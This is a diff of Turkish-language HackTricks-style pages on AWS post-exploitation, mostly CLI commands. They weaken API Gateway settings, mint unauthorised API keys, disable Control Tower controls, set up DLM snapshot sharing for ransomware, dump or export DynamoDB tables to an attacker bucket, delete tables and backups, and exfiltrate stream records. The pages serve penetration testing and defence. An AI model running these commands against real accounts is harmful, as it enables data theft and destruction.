aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'
|
||||
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**Olası Etki**: API'nin güvenliğinin zayıflatılması, muhtemelen yetkisiz erişime izin verme veya hassas bilgilerin ifşa edilmesi.
|
||||
|
||||
> [!NOTE]
|
||||
> Test edilmesi gerekiyor
|
||||
|
||||
### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey`
|
||||
|
||||
Bu izinlere sahip bir saldırgan **yeni API keys oluşturabilir, bunları usage plans ile ilişkilendirebilir ve ardından bu API keys'i API'lere yetkisiz erişim için kullanabilir**.
|
||||
```bash
|
||||
# Create a new API key
|
||||
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')
|
||||
|
||||
# Create a new usage plan
|
||||
USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')
|
||||
|
||||
# Associate the API key with the usage plan
|
||||
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY
|
||||
```
|
||||
**Olası Etki**: API kaynaklarına yetkisiz erişim, güvenlik kontrollerinin atlatılması.
|
||||
|
||||
> [!NOTE]
|
||||
> Test edilmesi gerekiyor
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
-31
@@ -1,31 +0,0 @@
|
||||
# AWS - CloudFront Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## CloudFront
|
||||
|
||||
Daha fazla bilgi için kontrol edin:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-cloudfront-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Man-in-the-Middle
|
||||
|
||||
Bu [**blog yazısı**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) bir **Lambda**'nın **CloudFront üzerinden iletişime** eklenebileceği (veya zaten kullanılıyorsa değiştirilebileceği) birkaç farklı senaryo önermektedir. Amaç, kullanıcı bilgilerini (örneğin oturum **çerezi**) **çalmaktır** ve **yanıtı** **değiştirmektir** (kötü niyetli bir JS scripti enjekte etmek).
|
||||
|
||||
#### senaryo 1: CloudFront'un bir bucket'ın bazı HTML'lerine erişim sağlamak için yapılandırıldığı MitM
|
||||
|
||||
- **Kötü niyetli** **fonksiyonu** **oluşturun**.
|
||||
- Bunu CloudFront dağıtımıyla **ilişkilendirin**.
|
||||
- **Olay türünü "Viewer Response"** olarak ayarlayın.
|
||||
|
||||
Yanıta erişerek kullanıcıların çerezini çalabilir ve kötü niyetli bir JS enjekte edebilirsiniz.
|
||||
|
||||
#### senaryo 2: CloudFront'un zaten bir lambda fonksiyonu kullandığı MitM
|
||||
|
||||
- Hassas bilgileri çalmak için lambda fonksiyonunun **kodunu değiştirin**.
|
||||
|
||||
Bu senaryoları yeniden oluşturmak için [**tf kodunu buradan kontrol edebilirsiniz**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+31
@@ -0,0 +1,31 @@
|
||||
# AWS - CloudFront Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## CloudFront
|
||||
|
||||
Daha fazla bilgi için bakınız:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-cloudfront-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Man-in-the-Middle
|
||||
|
||||
This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) birkaç farklı senaryo öneriyor; bu senaryolarda bir **Lambda**, **CloudFront** üzerinden gerçekleşen bir iletişime eklenebilir (ya da zaten kullanılıyorsa değiştirilebilir) ve amaç kullanıcı bilgilerini (ör. oturum **cookie**'sini) **çalmak** ve **yanıt**ı **değiştirmek** (kötü amaçlı bir JS betiği enjekte etmek) olabilir.
|
||||
|
||||
#### senaryo 1: MitM — CloudFront'un bir bucket içindeki bazı HTML'lere erişecek şekilde yapılandırıldığı durum
|
||||
|
||||
- Kötü amaçlı **function** oluşturun.
|
||||
- Bunu CloudFront dağıtımıyla **ilişkilendirin**.
|
||||
- **Event type**'ı "Viewer Response" olarak ayarlayın.
|
||||
|
||||
Yanıtı elde ederek kullanıcının oturum **cookie**'sini çalabilir ve kötü amaçlı bir JS enjekte edebilirsiniz.
|
||||
|
||||
#### senaryo 2: MitM — CloudFront'un zaten bir Lambda function kullandığı durum
|
||||
|
||||
- Lambda function'ın kodunu **değiştirerek** hassas bilgileri çalın.
|
||||
|
||||
You can check the [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+4
-4
@@ -1,18 +1,18 @@
|
||||
# AWS - Control Tower Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Control Tower
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md
|
||||
../../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Kontrolleri Etkinleştir / Devre Dışı Bırak
|
||||
|
||||
Bir hesabı daha fazla istismar etmek için, Control Tower kontrollerini devre dışı bırakmanız/etkinleştirmeniz gerekebilir:
|
||||
Bir hesabı daha fazla exploit etmek için Control Tower kontrollerini devre dışı bırakıp/etkinleştirmeniz gerekebilir:
|
||||
```bash
|
||||
aws controltower disable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
|
||||
aws controltower enable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,91 +0,0 @@
|
||||
# AWS - DLM Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Veri Yaşam Döngüsü Yöneticisi (DLM)
|
||||
|
||||
### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy`
|
||||
|
||||
Bir fidye yazılımı saldırısı, mümkün olduğunca çok EBS hacmini şifreleyerek ve ardından mevcut EC2 örneklerini, EBS hacimlerini ve anlık görüntüleri silerek gerçekleştirilebilir. Bu kötü niyetli etkinliği otomatikleştirmek için, başka bir AWS hesabından bir KMS anahtarı ile anlık görüntüleri şifreleyerek ve şifrelenmiş anlık görüntüleri farklı bir hesaba aktararak Amazon DLM kullanılabilir. Alternatif olarak, şifreleme olmadan anlık görüntüleri yönettikleri bir hesaba aktarabilir ve ardından orada şifreleyebilirler. Mevcut EBS hacimlerini veya anlık görüntüleri doğrudan şifrelemek kolay olmasa da, yeni bir hacim veya anlık görüntü oluşturarak bunu yapmak mümkündür.
|
||||
|
||||
Öncelikle, örnek ID'si, hacim ID'si, şifreleme durumu, ekleme durumu ve hacim türü gibi hacimlerle ilgili bilgileri toplamak için bir komut kullanılacaktır.
|
||||
|
||||
`aws ec2 describe-volumes`
|
||||
|
||||
İkincisi, yaşam döngüsü politikasını oluşturacaktır. Bu komut, belirli hacimlerin her gün belirli bir saatte otomatik olarak anlık görüntülerini alan bir yaşam döngüsü politikası kurmak için DLM API'sini kullanır. Ayrıca anlık görüntülere belirli etiketler uygular ve hacimlerden anlık görüntülere etiketleri kopyalar. policyDetails.json dosyası, hedef etiketler, program, şifreleme için isteğe bağlı KMS anahtarının ARN'si ve anlık görüntü paylaşımı için hedef hesap gibi yaşam döngüsü politikasının ayrıntılarını içerir; bu bilgiler kurbanın CloudTrail günlüklerinde kaydedilecektir.
|
||||
```bash
|
||||
aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json
|
||||
```
|
||||
Politika belgesi için bir şablon burada görülebilir:
|
||||
```bash
|
||||
{
|
||||
"PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
|
||||
"ResourceTypes": [
|
||||
"VOLUME"
|
||||
],
|
||||
"TargetTags": [
|
||||
{
|
||||
"Key": "ExampleKey",
|
||||
"Value": "ExampleValue"
|
||||
}
|
||||
],
|
||||
"Schedules": [
|
||||
{
|
||||
"Name": "DailySnapshots",
|
||||
"CopyTags": true,
|
||||
"TagsToAdd": [
|
||||
{
|
||||
"Key": "SnapshotCreator",
|
||||
"Value": "DLM"
|
||||
}
|
||||
],
|
||||
"VariableTags": [
|
||||
{
|
||||
"Key": "CostCenter",
|
||||
"Value": "Finance"
|
||||
}
|
||||
],
|
||||
"CreateRule": {
|
||||
"Interval": 24,
|
||||
"IntervalUnit": "HOURS",
|
||||
"Times": [
|
||||
"03:00"
|
||||
]
|
||||
},
|
||||
"RetainRule": {
|
||||
"Count": 14
|
||||
},
|
||||
"FastRestoreRule": {
|
||||
"Count": 2,
|
||||
"Interval": 12,
|
||||
"IntervalUnit": "HOURS"
|
||||
},
|
||||
"CrossRegionCopyRules": [
|
||||
{
|
||||
"TargetRegion": "us-west-2",
|
||||
"Encrypted": true,
|
||||
"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
|
||||
"CopyTags": true,
|
||||
"RetainRule": {
|
||||
"Interval": 1,
|
||||
"IntervalUnit": "DAYS"
|
||||
}
|
||||
}
|
||||
],
|
||||
"ShareRules": [
|
||||
{
|
||||
"TargetAccounts": [
|
||||
"123456789012"
|
||||
],
|
||||
"UnshareInterval": 30,
|
||||
"UnshareIntervalUnit": "DAYS"
|
||||
}
|
||||
]
|
||||
}
|
||||
],
|
||||
"Parameters": {
|
||||
"ExcludeBootVolume": false
|
||||
}
|
||||
}
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+91
@@ -0,0 +1,91 @@
|
||||
# AWS - DLM Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Data Lifecycle Manger (DLM)
|
||||
|
||||
### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy`
|
||||
|
||||
Bir ransomware saldırısı, mümkün olduğunca çok EBS volumes şifreleyip ardından mevcut EC2 instances, EBS volumes ve snapshots silinerek gerçekleştirilebilir. Bu kötü amaçlı faaliyeti otomatikleştirmek için Amazon DLM kullanılabilir; snapshots'ları başka bir AWS hesabına ait bir KMS key ile şifreleyip şifrelenmiş snapshots'ları farklı bir hesaba aktarabilirler. Alternatif olarak, snapshots'ları şifrelemeden kendi kontrol ettikleri bir hesaba aktarabilir ve orada şifreleyebilirler. Mevcut EBS volumes veya snapshots'ları doğrudan şifrelemek kolay olmasa da, yeni bir volume veya snapshot oluşturarak bunu yapmak mümkündür.
|
||||
|
||||
İlk olarak, instance ID, volume ID, encryption status, attachment status ve volume type gibi bilgiler toplamak için aşağıdaki komut kullanılacaktır.
|
||||
|
||||
`aws ec2 describe-volumes`
|
||||
|
||||
İkinci olarak, lifecycle policy oluşturulacaktır. Bu komut, DLM API'sini kullanarak belirtilen volume'ların belirlenen bir saatte otomatik olarak günlük snapshot'larını alacak bir lifecycle policy ayarlar. Ayrıca snapshot'lara belirli tag'ler uygular ve volume'lardan snapshot'lara tag'leri kopyalar. policyDetails.json dosyası, hedef tag'ler, zamanlama, isteğe bağlı şifreleme için KMS key'in ARN'si ve snapshot paylaşımı için hedef hesap gibi lifecycle policy'nin ayrıntılarını içerir; bu işlemler kurbanın CloudTrail loglarına kaydedilecektir.
|
||||
```bash
|
||||
aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json
|
||||
```
|
||||
Politika belgesinin bir şablonu burada görülebilir:
|
||||
```bash
|
||||
{
|
||||
"PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
|
||||
"ResourceTypes": [
|
||||
"VOLUME"
|
||||
],
|
||||
"TargetTags": [
|
||||
{
|
||||
"Key": "ExampleKey",
|
||||
"Value": "ExampleValue"
|
||||
}
|
||||
],
|
||||
"Schedules": [
|
||||
{
|
||||
"Name": "DailySnapshots",
|
||||
"CopyTags": true,
|
||||
"TagsToAdd": [
|
||||
{
|
||||
"Key": "SnapshotCreator",
|
||||
"Value": "DLM"
|
||||
}
|
||||
],
|
||||
"VariableTags": [
|
||||
{
|
||||
"Key": "CostCenter",
|
||||
"Value": "Finance"
|
||||
}
|
||||
],
|
||||
"CreateRule": {
|
||||
"Interval": 24,
|
||||
"IntervalUnit": "HOURS",
|
||||
"Times": [
|
||||
"03:00"
|
||||
]
|
||||
},
|
||||
"RetainRule": {
|
||||
"Count": 14
|
||||
},
|
||||
"FastRestoreRule": {
|
||||
"Count": 2,
|
||||
"Interval": 12,
|
||||
"IntervalUnit": "HOURS"
|
||||
},
|
||||
"CrossRegionCopyRules": [
|
||||
{
|
||||
"TargetRegion": "us-west-2",
|
||||
"Encrypted": true,
|
||||
"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
|
||||
"CopyTags": true,
|
||||
"RetainRule": {
|
||||
"Interval": 1,
|
||||
"IntervalUnit": "DAYS"
|
||||
}
|
||||
}
|
||||
],
|
||||
"ShareRules": [
|
||||
{
|
||||
"TargetAccounts": [
|
||||
"123456789012"
|
||||
],
|
||||
"UnshareInterval": 30,
|
||||
"UnshareIntervalUnit": "DAYS"
|
||||
}
|
||||
]
|
||||
}
|
||||
],
|
||||
"Parameters": {
|
||||
"ExcludeBootVolume": false
|
||||
}
|
||||
}
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+62
-62
@@ -1,18 +1,18 @@
|
||||
# AWS - DynamoDB Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## DynamoDB
|
||||
|
||||
Daha fazla bilgi için bakınız:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-dynamodb-enum.md
|
||||
../../aws-services/aws-dynamodb-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `dynamodb:BatchGetItem`
|
||||
|
||||
Bu izne sahip bir saldırgan, **tabloların birincil anahtarına göre öğeleri alabilir** (tablodaki tüm verileri doğrudan isteyemezsiniz). Bu, birincil anahtarları bilmeniz gerektiği anlamına gelir (bunu tablo meta verilerini alarak elde edebilirsiniz (`describe-table`).
|
||||
Bu izne sahip bir saldırgan, **tablolardan öğeleri birincil anahtar aracılığıyla alabilir** (tablonun tüm verilerini doğrudan isteyemezsiniz). Bu, birincil anahtarları bilmeniz gerektiği anlamına gelir (bunları tablo meta verilerini alarak elde edebilirsiniz (`describe-table`).
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="json file" }}
|
||||
@@ -43,11 +43,11 @@ aws dynamodb batch-get-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Potential Impact:** Tablodaki hassas bilgileri bularak dolaylı privesc
|
||||
**Potansiyel Etki:** Tablo içindeki hassas bilgileri bularak dolaylı privesc
|
||||
|
||||
### `dynamodb:GetItem`
|
||||
|
||||
**Önceki izinlere benzer şekilde** bu izin, potansiyel bir saldırganın alınacak girdinin birincil anahtarı verildiğinde yalnızca 1 tablodan değerleri okumasına izin verir:
|
||||
**Önceki izinlere benzer şekilde** bu izin, potansiyel bir saldırıcının alınacak girdinin birincil anahtarı verildiğinde yalnızca 1 tablodan değerleri okumasına izin verir:
|
||||
```json
|
||||
aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
|
||||
|
||||
@@ -58,7 +58,7 @@ aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
|
||||
}
|
||||
}
|
||||
```
|
||||
Bu izinle **`transact-get-items`** yöntemini şu şekilde kullanmak da mümkündür:
|
||||
Bu izinle ayrıca **`transact-get-items`** yöntemini şöyle kullanmak da mümkün:
|
||||
```json
|
||||
aws dynamodb transact-get-items \
|
||||
--transact-items file:///tmp/a.json
|
||||
@@ -75,11 +75,11 @@ aws dynamodb transact-get-items \
|
||||
}
|
||||
]
|
||||
```
|
||||
**Olası Etki:** Tablodaki hassas bilgileri bularak Indirect privesc
|
||||
**Olası Etki:** Tabloda hassas bilgileri bularak dolaylı privesc
|
||||
|
||||
### `dynamodb:Query`
|
||||
|
||||
**Önceki izinlere benzer şekilde** bu izin potansiyel bir saldırganın, alınacak girdinin birincil anahtarı verildiğinde yalnızca 1 tablodan değerleri okumasına izin verir. [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html) kullanmasına izin verir, ancak görünmesi gereken birincil anahtar ile izin verilen tek karşılaştırma "EQ" olduğu için tek bir istekte tüm veritabanını almak amacıyla karşılaştırma kullanamazsınız.
|
||||
**Önceki izinlere benzer şekilde** bu izin, bir girdinin birincil anahtarı verildiğinde potansiyel bir saldırıcının sadece tek bir tablodan değerleri okumasına izin verir. [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html) kullanmasına izin verir, fakat birincil anahtarla (mutlaka bulunması gereken) yapılabilecek tek karşılaştırma "EQ"dir, bu yüzden bir karşılaştırma kullanarak tüm veritabanını bir istekte alamazsınız.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="json file" }}
|
||||
@@ -107,19 +107,19 @@ aws dynamodb query \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Potansiyel Etki:** Indirect privesc — tablodaki hassas bilgileri bularak
|
||||
**Olası Etki:** Dolaylı privesc — tabloda hassas bilgileri bularak
|
||||
|
||||
### `dynamodb:Scan`
|
||||
|
||||
Bu izni kullanarak tabloyu kolayca **dump** edebilirsiniz.
|
||||
Bu izni kullanarak **tüm tabloyu kolayca dump edebilirsiniz**.
|
||||
```bash
|
||||
aws dynamodb scan --table-name <t_name> #Get data inside the table
|
||||
```
|
||||
**Potansiyel Etki:** Tabloda hassas bilgileri bularak dolaylı privesc
|
||||
**Potansiyel Etki:** Tablodaki hassas bilgileri bularak dolaylı privesc
|
||||
|
||||
### `dynamodb:PartiQLSelect`
|
||||
|
||||
Bu izni, **tüm tabloyu kolayca dump etmek** için kullanabilirsiniz.
|
||||
Bu izni **tüm tabloyu kolayca dökmek** için kullanabilirsiniz.
|
||||
```bash
|
||||
aws dynamodb execute-statement \
|
||||
--statement "SELECT * FROM ProductCatalog"
|
||||
@@ -129,13 +129,13 @@ Bu izin ayrıca `batch-execute-statement` gibi işlemleri gerçekleştirmeye de
|
||||
aws dynamodb batch-execute-statement \
|
||||
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
|
||||
```
|
||||
Ancak birincil anahtarı bir değerle belirtmeniz gerekir, bu yüzden çok kullanışlı değildir.
|
||||
ama primary key için bir değer belirtmeniz gerekiyor, bu yüzden çok kullanışlı değil.
|
||||
|
||||
**Olası Etki:** Indirect privesc — tablodaki hassas bilgileri tespit ederek
|
||||
**Olası Etki:** Tablodaki hassas bilgileri bularak dolaylı privesc
|
||||
|
||||
### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)`
|
||||
|
||||
Bu izin, saldırganın **tüm tabloyu seçtiği bir S3 bucket'ına dışa aktarmasına** izin verir:
|
||||
Bu izin, bir saldırganın tablonun tamamını seçtiği bir S3 bucket'a **aktarmasına** izin verir:
|
||||
```bash
|
||||
aws dynamodb export-table-to-point-in-time \
|
||||
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
|
||||
@@ -144,33 +144,33 @@ aws dynamodb export-table-to-point-in-time \
|
||||
--export-time <point_in_time> \
|
||||
--region <region>
|
||||
```
|
||||
Bunun çalışması için tablonun point-in-time-recovery etkinleştirilmiş olması gerektiğini unutmayın; tablonun bunu sahip olup olmadığını şu şekilde kontrol edebilirsiniz:
|
||||
Bunun çalışması için tablonun point-in-time-recovery etkinleştirilmiş olması gerektiğini unutmayın; tablonun bunu içerip içermediğini şu komutla kontrol edebilirsiniz:
|
||||
```bash
|
||||
aws dynamodb describe-continuous-backups \
|
||||
--table-name <tablename>
|
||||
```
|
||||
Eğer etkin değilse, onu **etkinleştirmeniz** gerekir ve bunun için **`dynamodb:ExportTableToPointInTime`** iznine ihtiyacınız vardır:
|
||||
Etkin değilse, **etkinleştirmeniz** gerekecek ve bunun için **`dynamodb:ExportTableToPointInTime`** iznine ihtiyacınız olacak:
|
||||
```bash
|
||||
aws dynamodb update-continuous-backups \
|
||||
--table-name <value> \
|
||||
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
|
||||
```
|
||||
**Potential Impact:** Tabloda hassas bilgileri bularak dolaylı privesc
|
||||
**Potansiyel Etki:** Tablo içinde hassas bilgileri bularak dolaylı privesc
|
||||
|
||||
### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup`)
|
||||
### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
|
||||
|
||||
Bu izinlerle, bir saldırgan **yedekten yeni bir tablo oluşturabilir** (veya hatta bir yedek oluşturup bunu farklı bir tabloda geri yükleyebilir). Ardından, gerekli izinlerle, yedeklerden **bilgileri** kontrol ederek **üretim tablosunda artık bulunmayan** öğeleri görebilir.
|
||||
Bu izinlerle, bir saldırgan **yedekten yeni bir tablo oluşturmak** (veya hatta daha sonra farklı bir tabloda geri yüklemek için bir yedek oluşturmak) gibi işlemleri gerçekleştirebilir. Daha sonra, gerekli izinlerle, yedeklerden **üretim tablosunda artık bulunmayan** **bilgileri** inceleyebilecektir.
|
||||
```bash
|
||||
aws dynamodb restore-table-from-backup \
|
||||
--backup-arn <source-backup-arn> \
|
||||
--target-table-name <new-table-name> \
|
||||
--region <region>
|
||||
```
|
||||
**Olası Etki:** Dolaylı privesc — tablonun yedeğinde hassas bilgilerin bulunmasıyla
|
||||
**Potential Impact:** Tablo yedeklerinde hassas bilgileri bularak dolaylı privesc
|
||||
|
||||
### `dynamodb:PutItem`
|
||||
|
||||
Bu izin, kullanıcılara **tabloya yeni bir öğe eklemelerine veya var olan bir öğeyi yeni bir öğe ile değiştirmelerine** olanak tanır. Aynı birincil anahtara sahip bir öğe zaten varsa, **tüm öğe yeni öğe ile değiştirilecektir**. Birincil anahtar mevcut değilse, belirtilen birincil anahtara sahip yeni bir öğe **oluşturulacaktır**.
|
||||
Bu izin, kullanıcılara tabloya **yeni bir öğe ekleme veya var olan bir öğeyi yeni bir öğe ile değiştirme** imkanı verir. Aynı birincil anahtara sahip bir öğe zaten varsa, **tüm öğe yeni öğe ile değiştirilecektir**. Eğer birincil anahtar mevcut değilse, belirtilen birincil anahtara sahip yeni bir öğe **oluşturulacaktır**.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="XSS Example" }}
|
||||
@@ -202,11 +202,11 @@ aws dynamodb put-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Potansiyel Etki:** DynamoDB tablosuna veri ekleyip/değiştirme yeteneği ile ilave zaafiyetlerin/bypasses'ın kötüye kullanılması
|
||||
**Potansiyel Etki:** DynamoDB tablosuna veri ekleyip/değiştirerek ek güvenlik açıklarının/atlatmaların istismarı
|
||||
|
||||
### `dynamodb:UpdateItem`
|
||||
|
||||
Bu izin, kullanıcılara bir öğenin mevcut özniteliklerini **değiştirme veya öğeye yeni öznitelikler ekleme** imkanı verir. Bu işlem tüm öğeyi **değiştirmez**; yalnızca belirtilen öznitelikleri günceller. Birincil anahtar tabloda mevcut değilse, işlem belirtilen birincil anahtarla **yeni bir öğe oluşturur** ve update expression'ında belirtilen öznitelikleri ayarlar.
|
||||
Bu izin, kullanıcılara bir öğenin mevcut özniteliklerini değiştirme veya bir öğeye yeni öznitelikler ekleme yetkisi verir. Tüm öğeyi değiştirmez; yalnızca belirtilen öznitelikleri günceller. Eğer tabloda birincil anahtar yoksa, işlem belirtilen birincil anahtarla yeni bir öğe oluşturur ve güncelleme ifadesinde belirtilen öznitelikleri ayarlar.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="XSS Example" }}
|
||||
@@ -242,49 +242,49 @@ aws dynamodb update-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Olası Etki:** DynamoDB tablosuna veri ekleyip/değiştirerek daha fazla güvenlik açığı/bypasses istismarı
|
||||
**Potansiyel Etki:** Bir DynamoDB tablosuna veri ekleyip/değiştirilebilmesiyle ilave vulnerabilities/bypasses istismarı
|
||||
|
||||
### `dynamodb:DeleteTable`
|
||||
|
||||
Bu izne sahip bir saldırgan **bir DynamoDB tablosunu silebilir ve veri kaybına neden olabilir**.
|
||||
Bu izne sahip bir saldırgan bir DynamoDB tablosunu **silebilir, veri kaybına neden olur**.
|
||||
```bash
|
||||
aws dynamodb delete-table \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
```
|
||||
**Olası etki**: Silinen tabloya bağlı hizmetlerde veri kaybı ve kesinti.
|
||||
**Olası etki**: Veri kaybı ve silinen tabloya bağlı hizmetlerin aksaması.
|
||||
|
||||
### `dynamodb:DeleteBackup`
|
||||
|
||||
Bu izne sahip bir saldırgan **DynamoDB yedeğini silebilir, felaket kurtarma senaryosunda potansiyel olarak veri kaybına yol açabilir**.
|
||||
Bu izne sahip bir saldırgan **bir DynamoDB yedeğini silebilir; bu da olası bir felaket kurtarma senaryosunda veri kaybına neden olabilir**.
|
||||
```bash
|
||||
aws dynamodb delete-backup \
|
||||
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
|
||||
--region <region>
|
||||
```
|
||||
**Potansiyel etki**: Veri kaybı ve felaket kurtarma senaryosunda yedekten geri yükleyememe.
|
||||
**Olası etki**: Veri kaybı ve bir felaket kurtarma senaryosunda yedekten geri yükleyememe.
|
||||
|
||||
### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Bunun gerçekten çalışıp çalışmadığını test edin
|
||||
> TODO: Bunun gerçekten çalışıp çalışmadığını test et
|
||||
|
||||
Bu izinlere sahip bir saldırgan **bir DynamoDB tablosunda bir akışı etkinleştirebilir, tabloda değişikliklerin akışını başlatmak için tabloyu güncelleyebilir ve ardından tablo değişikliklerini gerçek zamanlı olarak izlemek için akışa erişebilir**. Bu, saldırganın veri değişikliklerini izleyip exfiltrate etmesine olanak tanır; potansiyel olarak data leakage'e yol açabilir.
|
||||
Bu izinlere sahip bir saldırgan DynamoDB tablosunda bir stream etkinleştirebilir, tabloyu değişikliklerin stream edilmesine başlamak için güncelleyebilir ve ardından tablo değişikliklerini gerçek zamanlı izlemek için stream'e erişebilir. Bu, saldırganın veri değişikliklerini izleyip exfiltrate etmesine ve potansiyel olarak data leakage ile sonuçlanmasına olanak tanır.
|
||||
|
||||
1. Bir DynamoDB tablosunda bir akış etkinleştirin:
|
||||
1. DynamoDB tablosunda bir stream etkinleştirin:
|
||||
```bash
|
||||
aws dynamodb update-table \
|
||||
--table-name TargetTable \
|
||||
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
|
||||
--region <region>
|
||||
```
|
||||
2. ARN ve diğer detayları elde etmek için stream'i tanımlayın:
|
||||
2. ARN ve diğer ayrıntıları elde etmek için stream'i açıklayın:
|
||||
```bash
|
||||
aws dynamodb describe-stream \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
```
|
||||
3. Stream ARN kullanarak shard iterator'ı alın:
|
||||
3. Stream ARN kullanarak shard iterator'ı al:
|
||||
```bash
|
||||
aws dynamodbstreams get-shard-iterator \
|
||||
--stream-arn <stream_arn> \
|
||||
@@ -292,22 +292,22 @@ aws dynamodbstreams get-shard-iterator \
|
||||
--shard-iterator-type LATEST \
|
||||
--region <region>
|
||||
```
|
||||
4. shard iterator'ı kullanarak stream'den verilere erişin ve exfiltrate edin:
|
||||
4. Shard iterator'ı kullanarak stream'den verilere erişin ve verileri exfiltrate edin:
|
||||
```bash
|
||||
aws dynamodbstreams get-records \
|
||||
--shard-iterator <shard_iterator> \
|
||||
--region <region>
|
||||
```
|
||||
**Potential impact**: DynamoDB tablosunun değişikliklerinin gerçek zamanlı izlenmesi ve data leakage.
|
||||
**Potansiyel etki**: DynamoDB tablosunun değişikliklerinin gerçek zamanlı izlenmesi ve veri leak'i.
|
||||
|
||||
### `dynamodb:UpdateItem` ve `ReturnValues=ALL_OLD` ile öğeleri okuma
|
||||
|
||||
Bir tablo üzerinde yalnızca `dynamodb:UpdateItem` iznine sahip bir saldırgan, zararsız bir güncelleme yapıp `--return-values ALL_OLD` talep ederek normalde gereken okuma izinleri (`GetItem`/`Query`/`Scan`) olmadan öğeleri okuyabilir. DynamoDB, yanıtın `Attributes` alanında öğenin tam güncelleme öncesi görüntüsünü döner (bu, RCUs tüketmez).
|
||||
